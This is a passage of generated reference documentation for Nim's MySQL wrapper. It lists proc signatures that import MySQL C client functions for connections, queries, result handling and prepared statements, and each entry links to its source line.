[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L845) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L845) ``` proc eof(res: PRES): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_eof".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L847) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L847) ``` proc fetch_field_direct(res: PRES; fieldnr: cuint): PFIELD {...}{.stdcall, dynlib: lib, importc: "mysql_fetch_field_direct".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L848) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L848) ``` proc fetch_fields(res: PRES): PFIELD {...}{.stdcall, dynlib: lib, importc: "mysql_fetch_fields".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L850) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L850) ``` proc row_tell(res: PRES): ROW_OFFSET {...}{.stdcall, dynlib: lib, importc: "mysql_row_tell".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L852) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L852) ``` proc field_tell(res: PRES): FIELD_OFFSET {...}{.stdcall, dynlib: lib, importc: "mysql_field_tell".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L854) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L854) ``` proc field_count(MySQL: PMySQL): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_field_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L856) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L856) ``` proc affected_rows(MySQL: PMySQL): my_ulonglong {...}{.stdcall, dynlib: lib, importc: "mysql_affected_rows".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L858) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L858) ``` proc insert_id(MySQL: PMySQL): my_ulonglong {...}{.stdcall, dynlib: lib, importc: "mysql_insert_id".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L860) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L860) ``` proc errno(MySQL: PMySQL): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_errno".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L862) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L862) ``` proc error(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_error".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L863) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L863) ``` proc sqlstate(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_sqlstate".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L864) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L864) ``` proc warning_count(MySQL: PMySQL): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_warning_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L865) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L865) ``` proc info(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L867) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L867) ``` proc thread_id(MySQL: PMySQL): int {...}{.stdcall, dynlib: lib, importc: "mysql_thread_id".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L868) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L868) ``` proc character_set_name(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_character_set_name".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L869) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L869) ``` proc set_character_set(MySQL: PMySQL; csname: cstring): int32 {...}{.stdcall, dynlib: lib, importc: "mysql_set_character_set".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L871) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L871) ``` proc init(MySQL: PMySQL): PMySQL {...}{.stdcall, dynlib: lib, importc: "mysql_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L873) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L873) ``` proc ssl_set(MySQL: PMySQL; key: cstring; cert: cstring; ca: cstring; capath: cstring; cipher: cstring): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_ssl_set".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L874) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L874) ``` proc change_user(MySQL: PMySQL; user: cstring; passwd: cstring; db: cstring): my_bool {...}{. stdcall, dynlib: lib, importc: "mysql_change_user".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L877) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L877) ``` proc real_connect(MySQL: PMySQL; host: cstring; user: cstring; passwd: cstring; db: cstring; port: cuint; unix_socket: cstring; clientflag: int): PMySQL {...}{.stdcall, dynlib: lib, importc: "mysql_real_connect".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L879) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L879) ``` proc select_db(MySQL: PMySQL; db: cstring): cint {...}{.stdcall, dynlib: lib, importc: "mysql_select_db".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L883) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L883) ``` proc query(MySQL: PMySQL; q: cstring): cint {...}{.stdcall, dynlib: lib, importc: "mysql_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L885) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L885) ``` proc send_query(MySQL: PMySQL; q: cstring; len: int): cint {...}{.stdcall, dynlib: lib, importc: "mysql_send_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L886) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L886) ``` proc real_query(MySQL: PMySQL; q: cstring; len: int): cint {...}{.stdcall, dynlib: lib, importc: "mysql_real_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L888) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L888) ``` proc store_result(MySQL: PMySQL): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_store_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L890) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L890) ``` proc use_result(MySQL: PMySQL): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_use_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L892) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L892) ``` proc master_query(MySQL: PMySQL; q: cstring; len: int): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_master_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L894) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L894) ``` proc master_send_query(MySQL: PMySQL; q: cstring; len: int): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_master_send_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L896) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L896) ``` proc slave_query(MySQL: PMySQL; q: cstring; len: int): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_slave_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L899) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L899) ``` proc slave_send_query(MySQL: PMySQL; q: cstring; len: int): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_slave_send_query".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L901) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L901) ``` proc get_character_set_info(MySQL: PMySQL; charset: PMY_CHARSET_INFO) {...}{.stdcall, dynlib: lib, importc: "mysql_get_character_set_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L903) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L903) ``` proc set_local_infile_default(MySQL: PMySQL) {...}{.cdecl, dynlib: lib, importc: "mysql_set_local_infile_default".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L912) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L912) ``` proc enable_rpl_parse(MySQL: PMySQL) {...}{.stdcall, dynlib: lib, importc: "mysql_enable_rpl_parse".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L916) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L916) ``` proc disable_rpl_parse(MySQL: PMySQL) {...}{.stdcall, dynlib: lib, importc: "mysql_disable_rpl_parse".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L918) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L918) ``` proc rpl_parse_enabled(MySQL: PMySQL): cint {...}{.stdcall, dynlib: lib, importc: "mysql_rpl_parse_enabled".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L921) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L921) ``` proc enable_reads_from_master(MySQL: PMySQL) {...}{.stdcall, dynlib: lib, importc: "mysql_enable_reads_from_master".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L924) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L924) ``` proc disable_reads_from_master(MySQL: PMySQL) {...}{.stdcall, dynlib: lib, importc: "mysql_disable_reads_from_master".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L926) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L926) ``` proc reads_from_master_enabled(MySQL: PMySQL): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_reads_from_master_enabled".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L928) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L928) ``` proc rpl_query_type(q: cstring; length: cint): Rpl_type {...}{.stdcall, dynlib: lib, importc: "mysql_rpl_query_type".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L930) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L930) ``` proc rpl_probe(MySQL: PMySQL): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_rpl_probe".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L933) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L933) ``` proc set_master(MySQL: PMySQL; host: cstring; port: cuint; user: cstring; passwd: cstring): cint {...}{.stdcall, dynlib: lib, importc: "mysql_set_master".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L935) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L935) ``` proc add_slave(MySQL: PMySQL; host: cstring; port: cuint; user: cstring; passwd: cstring): cint {...}{.stdcall, dynlib: lib, importc: "mysql_add_slave".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L937) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L937) ``` proc shutdown(MySQL: PMySQL; shutdown_level: Enum_shutdown_level): cint {...}{. stdcall, dynlib: lib, importc: "mysql_shutdown".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L939) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L939) ``` proc dump_debug_info(MySQL: PMySQL): cint {...}{.stdcall, dynlib: lib, importc: "mysql_dump_debug_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L941) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L941) ``` proc refresh(sql: PMySQL; refresh_options: cuint): cint {...}{.stdcall, dynlib: lib, importc: "mysql_refresh".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L943) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L943) ``` proc kill(MySQL: PMySQL; pid: int): cint {...}{.stdcall, dynlib: lib, importc: "mysql_kill".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L945) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L945) ``` proc set_server_option(MySQL: PMySQL; option: Enum_mysql_set_option): cint {...}{. stdcall, dynlib: lib, importc: "mysql_set_server_option".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L946) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L946) ``` proc ping(MySQL: PMySQL): cint {...}{.stdcall, dynlib: lib, importc: "mysql_ping".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L948) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L948) ``` proc stat(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_stat".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L949) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L949) ``` proc get_server_info(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_get_server_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L950) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L950) ``` proc get_client_info(): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_get_client_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L952) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L952) ``` proc get_client_version(): int {...}{.stdcall, dynlib: lib, importc: "mysql_get_client_version".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L954) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L954) ``` proc get_host_info(MySQL: PMySQL): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_get_host_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L956) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L956) ``` proc get_server_version(MySQL: PMySQL): int {...}{.stdcall, dynlib: lib, importc: "mysql_get_server_version".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L958) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L958) ``` proc get_proto_info(MySQL: PMySQL): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_get_proto_info".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L960) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L960) ``` proc list_dbs(MySQL: PMySQL; wild: cstring): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_list_dbs".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L962) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L962) ``` proc list_tables(MySQL: PMySQL; wild: cstring): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_list_tables".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L964) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L964) ``` proc list_processes(MySQL: PMySQL): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_list_processes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L966) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L966) ``` proc options(MySQL: PMySQL; option: Option; arg: cstring): cint {...}{.stdcall, dynlib: lib, importc: "mysql_options".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L968) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L968) ``` proc free_result(result: PRES) {...}{.stdcall, dynlib: lib, importc: "mysql_free_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L970) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L970) ``` proc data_seek(result: PRES; offset: my_ulonglong) {...}{.stdcall, dynlib: lib, importc: "mysql_data_seek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L972) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L972) ``` proc row_seek(result: PRES; offset: ROW_OFFSET): ROW_OFFSET {...}{.stdcall, dynlib: lib, importc: "mysql_row_seek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L974) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L974) ``` proc field_seek(result: PRES; offset: FIELD_OFFSET): FIELD_OFFSET {...}{.stdcall, dynlib: lib, importc: "mysql_field_seek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L976) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L976) ``` proc fetch_row(result: PRES): ROW {...}{.stdcall, dynlib: lib, importc: "mysql_fetch_row".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L978) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L978) ``` proc fetch_lengths(result: PRES): ptr int {...}{.stdcall, dynlib: lib, importc: "mysql_fetch_lengths".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L980) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L980) ``` proc fetch_field(result: PRES): PFIELD {...}{.stdcall, dynlib: lib, importc: "mysql_fetch_field".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L982) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L982) ``` proc list_fields(MySQL: PMySQL; table: cstring; wild: cstring): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_list_fields".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L984) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L984) ``` proc escape_string(fto: cstring; from: cstring; from_length: int): int {...}{. stdcall, dynlib: lib, importc: "mysql_escape_string".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L986) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L986) ``` proc hex_string(fto: cstring; from: cstring; from_length: int): int {...}{.stdcall, dynlib: lib, importc: "mysql_hex_string".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L988) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L988) ``` proc real_escape_string(MySQL: PMySQL; fto: cstring; from: cstring; len: int): int {...}{. stdcall, dynlib: lib, importc: "mysql_real_escape_string".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L990) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L990) ``` proc debug(debug: cstring) {...}{.stdcall, dynlib: lib, importc: "mysql_debug".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L992) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L992) ``` proc myodbc_remove_escape(MySQL: PMySQL; name: cstring) {...}{.stdcall, dynlib: lib, importc: "myodbc_remove_escape".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L995) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L995) ``` proc thread_safe(): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_thread_safe".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L997) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L997) ``` proc embedded(): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_embedded".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L998) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L998) ``` proc manager_init(con: PMANAGER): PMANAGER {...}{.stdcall, dynlib: lib, importc: "mysql_manager_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L999) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L999) ``` proc manager_connect(con: PMANAGER; host: cstring; user: cstring; passwd: cstring; port: cuint): PMANAGER {...}{.stdcall, dynlib: lib, importc: "mysql_manager_connect".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1001) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1001) ``` proc manager_close(con: PMANAGER) {...}{.stdcall, dynlib: lib, importc: "mysql_manager_close".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1004) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1004) ``` proc manager_command(con: PMANAGER; cmd: cstring; cmd_len: cint): cint {...}{. stdcall, dynlib: lib, importc: "mysql_manager_command".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1006) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1006) ``` proc manager_fetch_line(con: PMANAGER; res_buf: cstring; res_buf_size: cint): cint {...}{. stdcall, dynlib: lib, importc: "mysql_manager_fetch_line".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1008) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1008) ``` proc read_query_result(MySQL: PMySQL): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_read_query_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1010) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1010) ``` proc stmt_init(MySQL: PMySQL): PSTMT {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1012) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1012) ``` proc stmt_prepare(stmt: PSTMT; query: cstring; len: int): cint {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_prepare".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1013) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1013) ``` proc stmt_execute(stmt: PSTMT): cint {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_execute".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1015) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1015) ``` proc stmt_fetch(stmt: PSTMT): cint {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_fetch".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1017) ``` proc stmt_fetch_column(stmt: PSTMT; bind: PBIND; column: cuint; offset: int): cint {...}{. stdcall, dynlib: lib, importc: "mysql_stmt_fetch_column".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1019) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1019) ``` proc stmt_store_result(stmt: PSTMT): cint {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_store_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1021) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1021) ``` proc stmt_param_count(stmt: PSTMT): int {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_param_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1023) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1023) ``` proc stmt_attr_set(stmt: PSTMT; attr_type: Enum_stmt_attr_type; attr: pointer): my_bool {...}{. stdcall, dynlib: lib, importc: "mysql_stmt_attr_set".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1025) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1025) ``` proc stmt_attr_get(stmt: PSTMT; attr_type: Enum_stmt_attr_type; attr: pointer): my_bool {...}{. stdcall, dynlib: lib, importc: "mysql_stmt_attr_get".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1027) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1027) ``` proc stmt_bind_param(stmt: PSTMT; bnd: PBIND): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_bind_param".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1029) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1029) ``` proc stmt_bind_result(stmt: PSTMT; bnd: PBIND): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_bind_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1031) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1031) ``` proc stmt_close(stmt: PSTMT): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_close".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1033) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1033) ``` proc stmt_reset(stmt: PSTMT): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_reset".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1035) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1035) ``` proc stmt_free_result(stmt: PSTMT): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_free_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1037) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1037) ``` proc stmt_send_long_data(stmt: PSTMT; param_number: 